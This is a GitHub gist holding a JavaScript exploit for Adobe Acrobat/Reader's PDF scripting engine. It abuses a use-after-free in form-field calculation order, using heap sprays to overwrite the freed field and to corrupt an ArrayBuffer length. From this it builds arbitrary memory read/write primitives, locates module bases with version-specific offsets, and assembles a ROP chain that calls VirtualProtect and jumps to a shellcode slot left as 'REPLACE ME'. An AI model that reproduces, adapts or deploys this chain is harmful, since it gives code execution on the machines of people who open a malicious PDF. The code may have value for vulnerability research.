Created
September 12, 2019 09:50
-
-
Save zuypt/bff5a033340c9c71147933d9ab8ffd61 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
console.show() | |
function gc() { | |
for(var i = 0; i < 3; i++) { | |
var z = new ArrayBuffer(1024*1024*100) | |
} | |
} | |
String.prototype.hex = function() { | |
var r = '' | |
for(var i = 0; i < this.length; i++) { | |
var hexbyte = this.charCodeAt(i).toString(16) | |
hexbyte = '0'.repeat(4 - hexbyte.length) + hexbyte | |
var t = hexbyte.slice(2, 4) + hexbyte.slice(0, 2) | |
r += t | |
} | |
return r | |
} | |
String.prototype.dhex = function() { | |
if (this.length != 8) return null | |
var r = 0 | |
for(var i = 0; i < this.length; i += 2) { | |
var t = parseInt(this.substring(i, i+2), 16) | |
if (t == NaN) return null | |
r += (t * Math.pow(2, (i*4)) ) | |
} | |
return r | |
} | |
/* heap spray */ | |
spray_size = 0x2000 | |
spray = new Array(spray_size) | |
GUESS = 0xD0E0058 | |
for(var i = 0; i < spray_size; i++) { | |
spray[i] = new ArrayBuffer(0x10000-24) | |
} | |
//var sz = 0x100 | |
var sz = 0x100 | |
var n = 5 | |
var n2 = 32 | |
var n3 = 1024*2 | |
for(var i = 0; i < spray_size; i++) { | |
var dv = new DataView(spray[i]) | |
/* CEStr buf */ | |
dv.setUint32(4, GUESS + 0xC, true) | |
/* CEStr size */ | |
dv.setUint32(8, sz + 14-4, true) | |
for(var j = 0; j < (sz+32)/4; j++) { | |
dv.setUint32(0xC + j*4, 0xFFFFFFFF-i, true) | |
} | |
} | |
f = this.addField("a.1", "text", 0, [0, 0, 0,0 ]); | |
f2 = this.addField("b", "text", 0, [0, 0, 0, 0]); | |
f.setAction("Calculate", "event.value = event.value *2") | |
f2.setAction("Calculate", "event.value = event.value *2") | |
O = {} | |
t = this | |
Ar = [] | |
TARGETS = [] | |
O.valueOf = function() { | |
t.removeField("a") | |
/* heapspray to overwrite freed field object */ | |
var str = "\u0058\u0d0e"; while (str.length < 0x158) str += str; | |
for(var j = 0; j < 32; j++) { | |
for(var i = 4; i < 1024; i++) Ar.push(str.substring(0, i/2-1).toUpperCase()); | |
} | |
for(var i = 0; i < 1024*n; i++) { | |
TARGETS.push(new ArrayBuffer(sz)) | |
} | |
var dv | |
for(var i = 0; i < 1024*n; i++) { | |
dv = new DataView(TARGETS[i]) | |
dv.setUint32(0, 0x77ffff77) | |
dv.setUint32(4, i, true) | |
} | |
for(var i = 1024*(n-2); i < 1024*(n-2)+n3; i += 4) { | |
delete TARGETS[i] | |
TARGETS[i] = null | |
} | |
gc() | |
for(var i = 0; i < n2; i++) { | |
TARGETS.push(new ArrayBuffer(sz)) | |
} | |
return 1 | |
} | |
var relative_rw | |
var spray_idx | |
var leak_idx | |
var s_idx | |
var fake_string_dv | |
var corrupted_arraybuffer_idx | |
var g_write_offset | |
A = [] | |
function myread(addr, size) { | |
fake_string_dv.setUint32(4*(3+1), addr, true) | |
var r = A[leak_idx][17].hex() | |
return r.slice(0, 2*size) | |
} | |
function mywrite(addr, val) { | |
relative_rw.setUint32(g_write_offset, addr, true) | |
A[leak_idx][15][0] = val | |
} | |
function step2() { | |
var num = 1024 | |
for(var i = 0; i < num; i++) { | |
var q = new Array(18) | |
for(var j = 0; j < 17; j++) { | |
q[j] = i | |
} | |
q[16] = TARGETS[corrupted_arraybuffer_idx] | |
q[17] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" | |
A.push(q) | |
q[0] = 0x22ffff22 | |
} | |
for(s_idx = 0; s_idx < 1024*5; s_idx++) { | |
var t = relative_rw.getUint32(4*s_idx, true) | |
if (t == 0x22ffff22) break | |
} | |
console.println('FOUND ARRAY AT: ' + s_idx) | |
fake_string_dv = new DataView(spray[spray_idx]) | |
//fake string object | |
fake_string_dv.setUint32(4*3, 0x3E8, true) | |
fake_string_dv.setUint32(4*(3+1), GUESS+(5*14), true) | |
fake_string_dv.setUint32(4*(3+2), 0, true) | |
fake_string_dv.setUint32(4*(3+3), 0, true) | |
/* put our fake string insdie array */ | |
leak_idx = relative_rw.getUint32(4*(s_idx+2), true) | |
relative_rw.setUint32(4*(s_idx+17*2), GUESS+(3*4), true) | |
console.println('Test global read') | |
console.println(myread(GUESS+64, 4).dhex().toString(16)) | |
console.println('==================================') | |
var relative_rw_header = relative_rw.getUint32(4*(s_idx+16*2), true) | |
console.println(relative_rw_header.toString(16)) | |
var T = [] | |
for (var i = 0; i < 0x1000*8; i++) { | |
T.push(new Uint32Array(2)) | |
} | |
A[leak_idx][15] = T[i-1] | |
A[leak_idx][15][0] = 0x99ffff99 | |
var ArrayBuffer_addr = myread(relative_rw_header + 0xC, 4).dhex() | |
var TypedArray_header = relative_rw.getUint32(4*(s_idx+15*2), true) + 80 | |
console.println(TypedArray_header.toString(16)) | |
if (TypedArray_header < ArrayBuffer_addr) { | |
console.println('TypedArray header is not behind corrupted ArrayBuffer') | |
return null | |
} | |
console.println('Test global write') | |
g_write_offset = TypedArray_header - ArrayBuffer_addr | |
mywrite(ArrayBuffer_addr + 4, 0x13371338) | |
console.println(relative_rw.getUint32(4, true).toString(16)) | |
console.println('==================================') | |
//2019.010.20091 offset | |
var escript_base = myread(relative_rw.getUint32(4*(s_idx+15*2), true)+0xC, 4).dhex() - 0x02654B0 | |
console.println('Escript base: ' + escript_base.toString(16)) | |
var v_gAcroViewHFT = escript_base + 0x026536C | |
var t = myread(v_gAcroViewHFT, 4).dhex() | |
// first gadget | |
// 0x16dfe9 : mov ecx, dword ptr [eax + 4] ; ecx = GUESS | |
// mov eax, dword ptr [ecx] ; eax = GUESS + 4 | |
// call dword ptr [eax] | |
mywrite(t + 4, GUESS) | |
fake_string_dv.setUint32(0, GUESS + 4, true) | |
// second gadget | |
// 0xc8f27 : push eax ; pop esp ; | |
// pop ecx ; movzx eax, ax ; ret ; | |
fake_string_dv.setUint32(4, escript_base + 0xc8f27, true) | |
// 0x19e058 virtualprotect import | |
fake_string_dv.setUint32(8, myread(escript_base + 0x19f058, 4).dhex(), true) | |
var vprotect_args = [ | |
GUESS + 4*32, // return address | |
GUESS, // lpAddress | |
0x1000, // size | |
0x40, // flNewProtect | |
GUESS, //lpflOldProtect | |
] | |
for(var i = 0; i < vprotect_args.length; i++) { | |
fake_string_dv.setUint32(12 + 4*i, vprotect_args[i], true) | |
} | |
//var shellcode = [0xcccccccc] | |
/* REPLACE ME */ | |
for(var i = 0; i < shellcode.length; i++) { | |
fake_string_dv.setUint32(4*32 + i*4, shellcode[i]) | |
} | |
mywrite(t + 0x598, escript_base + 0x16dfe9) | |
this.bookmarkRoot.execute() | |
} | |
function start() { | |
var dv | |
for(var i = 1024*n ;i > 0; i--) { | |
//search for our length corrupted ArrayBuffer | |
if (TARGETS[i]) { | |
corrupted_arraybuffer_idx = i | |
relative_rw = new DataView(TARGETS[i]) | |
var length = relative_rw.byteLength | |
if (length != sz) { | |
spray_idx = (-length) - 1 | |
console.println(console.println('Index where our spray hit 0xD0E0058:' + spray_idx)) | |
relative_rw.setUint32(0, 0xdeadbeee) | |
step2() | |
} | |
} | |
} | |
} | |
f.calcOrderIndex = O; | |
start() | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment